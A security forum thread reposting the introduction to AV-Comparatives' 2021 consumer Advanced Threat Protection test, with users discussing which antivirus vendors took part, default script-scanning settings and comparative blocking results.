AV-Comparatives Advanced Threat Protection Test 2021 – Consumer

Disclaimer
  1. This test shows how an antivirus behaves with certain threats, in a specific environment and under certain conditions.
    We encourage you to compare these results with others and take informed decisions on what security products to use.
    Before buying an antivirus you should consider factors such as price, ease of use, compatibility, and support. Installing a free trial version allows an antivirus to be tested in everyday use before purchase.

Gandalf_The_Grey

Level 59
Thread author
Verified
Helper
Top poster
Content Creator
Well-known
Apr 24, 2016
4,859
Introduction
“Advanced persistent threat” is a term commonly used to describe a targeted cyber-attack that employs a complex set of methods and techniques to penetrate information system(s). Different aims of such attacks could be stealing / substituting / damaging confidential information, or establishing sabotage capabilities, the last of which could lead to financial and reputational damage of the targeted organisations. Such attacks are very purposeful, and usually involve highly specialized tools. The tools employed include heavily obfuscated malicious code, the malicious use of benign system tools, and non-file-based malicious code.

In our Advanced Threat Protection Test (Enhanced Real-World Test), we use hacking and penetration techniques that allow attackers to access internal computer systems. These attacks can be broken down into Lockheed Martin’s Cybersecurity Kill Chain, and seven distinct phases – each with unique IOCs (Indicators of Compromise) for the victims. All our tests use a subset of the TTP (Tactics, Techniques, Procedures) listed in the MITRE ATT&CK framework. A false alarm test is also included in the report.

The tests use a range of techniques and resources, mimicking malware used in the real world. Some examples of these are given here. We make use of system programs, in an attempt to bypass signature-based detection. Popular scripting languages (JavaScript, batch files, PowerShell, Visual Basic scripts, etc.) are used. The tests involve both staged and non-staged malware samples, and deploy obfuscation and/or encryption of malicious code before execution (Base64, AES). Different C2 channels are used to connect to the attacker (HTTP, HTTPS, TCP). Use is made of known exploit frameworks (Metasploit Framework, Meterpreter, PowerShell Empire, Puppy, etc.).

To represent the targeted system, we use fully patched 64-bit Windows 10 systems, each with a different AV product installed. In the enterprise test, the target user has a standard user account. In the consumer test, an admin account is targeted. For this reason and others (e.g. possibly different settings), the results of the Consumer Test should not be compared with those of the Enterprise Test.

Once the payload is executed by the victim, a Command and Control Channel (C2) to the attacker’s system is opened. For this to happen, a listener has to be running on the attacker’s side. For example, this could be a Metasploit Listener on a Kali Linux system. Using the C2 channel, the attacker has full access to the compromised system. The functionality and stability of this established access is verified in each test-case.

The test consists of 15 different attacks. It currently focuses on protection, not on detection, and is carried out completely manually. Whilst the testing procedure is necessarily complex, we have used a fairly simple description of it in this report. This is in accordance with reader feedback, and we hope that it will make it comprehensible to a wider audience.

AV Consumer Main-Test-Series vendors were given the opportunity to opt out of this test before the test started, which is why not all vendors are included in this test. Some vendors are continuing to perfect their products before joining this advanced test. We congratulate all those vendors who took part in the test, even those whose products did not get the best scores, as they are striving to make their software better.
PDF Download:
 
Last edited:

The_King

Level 12
Verified
Top poster
Well-known
Aug 2, 2020
560
There are some interesting points to note in their testing.

All consumer products were tested with default settings.
By default BD does not scan scripts.

3. This threat is introduced via Trusted Relationship. A PowerShell script containing an AMSI bypass and a separate PowerShell Empire payload is used.
6. This threat is introduced via Trusted Relationship. A PowerShell script that contains a PoshC2 payload and a separate AMSI bypass is used.

Would BD have blocked these scripts if scan scripts option was turned on?


The test consists of 15 different attacks. It currently focuses on protection, not on detection, and is carried out completely manually. Whilst the testing procedure is necessarily complex, we have used a fairly simple description of it in this report. This is in accordance with reader feedback, and we hope that it will make it comprehensible to a wider audience.
So detection was not the goal of the test, but rather the focus is on protection from the test running..
@Andy Ful I see you are online. Your expert input will be greatly appreciated. :)
 
Last edited:

SeriousHoax

Level 41
Verified
Top poster
Well-known
Mar 16, 2019
3,085
Norton has IPS and smart firewall. I think it should be confident about this test! :unsure:
Yeah, it should. So it's surprising indeed. But even last year Norton as well as Microsoft didn't participate in this test if I remember correctly. All of them were given the opportunity to participate
AV Consumer Main-Test-Series vendors were given the opportunity to opt out of this test before the test started, which is why not all vendors are included in this test. Some vendors are continuing to perfect their products before joining this advanced test. We congratulate all those vendors who took part in the test, even those whose products did not get the best scores, as they are striving to make their software better.
 

Andy Ful

Level 79
Verified
Helper
Top poster
Developer
Well-known
Dec 23, 2014
6,803
Yeah, it should. So it's surprising indeed. But even last year Norton as well as Microsoft didn't participate in this test if I remember correctly. All of them were given the opportunity to participate
Microsoft Defender free could compete with other products if the test included in-the-wild malware used in widespread attacks. For custom-made fileless malware one should use advanced features like those activated by ConfigureDefender. Without this, the results would be probably similar to Bitdefender.
The Advanced Threat Protection test scenario is not related to the home environment, but rather to the targeted attacks on the Small Businesses.
 

The_King

Level 12
Verified
Top poster
Well-known
Aug 2, 2020
560
AVG (and probably Avast) simply blocks all obfuscated scripts and this helped to get the best result.
Would the results have been the same if Scan scripts was on by default in BD? Or would it too have blocked these scripts?
 

Andy Ful

Level 79
Verified
Helper
Top poster
Developer
Well-known
Dec 23, 2014
6,803
According to the report, obfuscated scripts were used in only four cases, namely cases 5, 7, 9, and 10. And other AV products also did a good job in these four cases.
If AVG (AVAST) would miss only one additional sample then we would see 3 other AVs with the same result.
 
Last edited:
  • Like
Reactions: oldschool

Anthony Qian

Level 6
Verified
Well-known
Apr 17, 2021
273
If AVG (AVAST) would miss only one additional sample then there are 3 other AVs with the same result.
If you look at the Detection/Blocking stages table, you will find Avast (AVG) does not simply block all obfuscated scripts. In case 7 and 10, Avast blocked immediately after the threat has been run. In case 9, Avast blocked after the threat has been run, and its actions have been recognised.
 

SeriousHoax

Level 41
Verified
Top poster
Well-known
Mar 16, 2019
3,085
Microsoft Defender free could compete with other products if the test included in-the-wild malware used in widespread attacks. For custom-made fileless malware one should use advanced features like those activated by ConfigureDefender. Without this, the results would be probably similar to Bitdefender.
The Advanced Threat Protection test scenario is not related to the home environment, but rather to the targeted attacks on the Small Businesses.
I understand but even in the enterprise test where vendors are given the freedom to modify settings according to their preference, MS Defender ATP didn't participate. So it does actually look like Microsoft doesn't have confidence in their product regarding this particular test.
 

Andy Ful

Level 79
Verified
Helper
Top poster
Developer
Well-known
Dec 23, 2014
6,803
I understand but even in the enterprise test where vendors are given the freedom to modify settings according to their preference, MS Defender ATP didn't participate. So it does actually look like Microsoft doesn't have confidence in their product regarding this particular test.
Maybe. Anyway, a similar test is included in MRG Effitas tests (360° Assessment & Certification).

Missed samples in Exploit/Fileless tests Q3+Q4 2020 + Q1+Q2 2021
---------------------------------
Avast Business Antivirus..............= 2.5
Bitdefender Endpoint Security.= 0
ESET Endpoint Security..................= 0
Microsoft Windows Defender...= 2

Defender with advanced settings enabled scores similarly to Avast commercial version.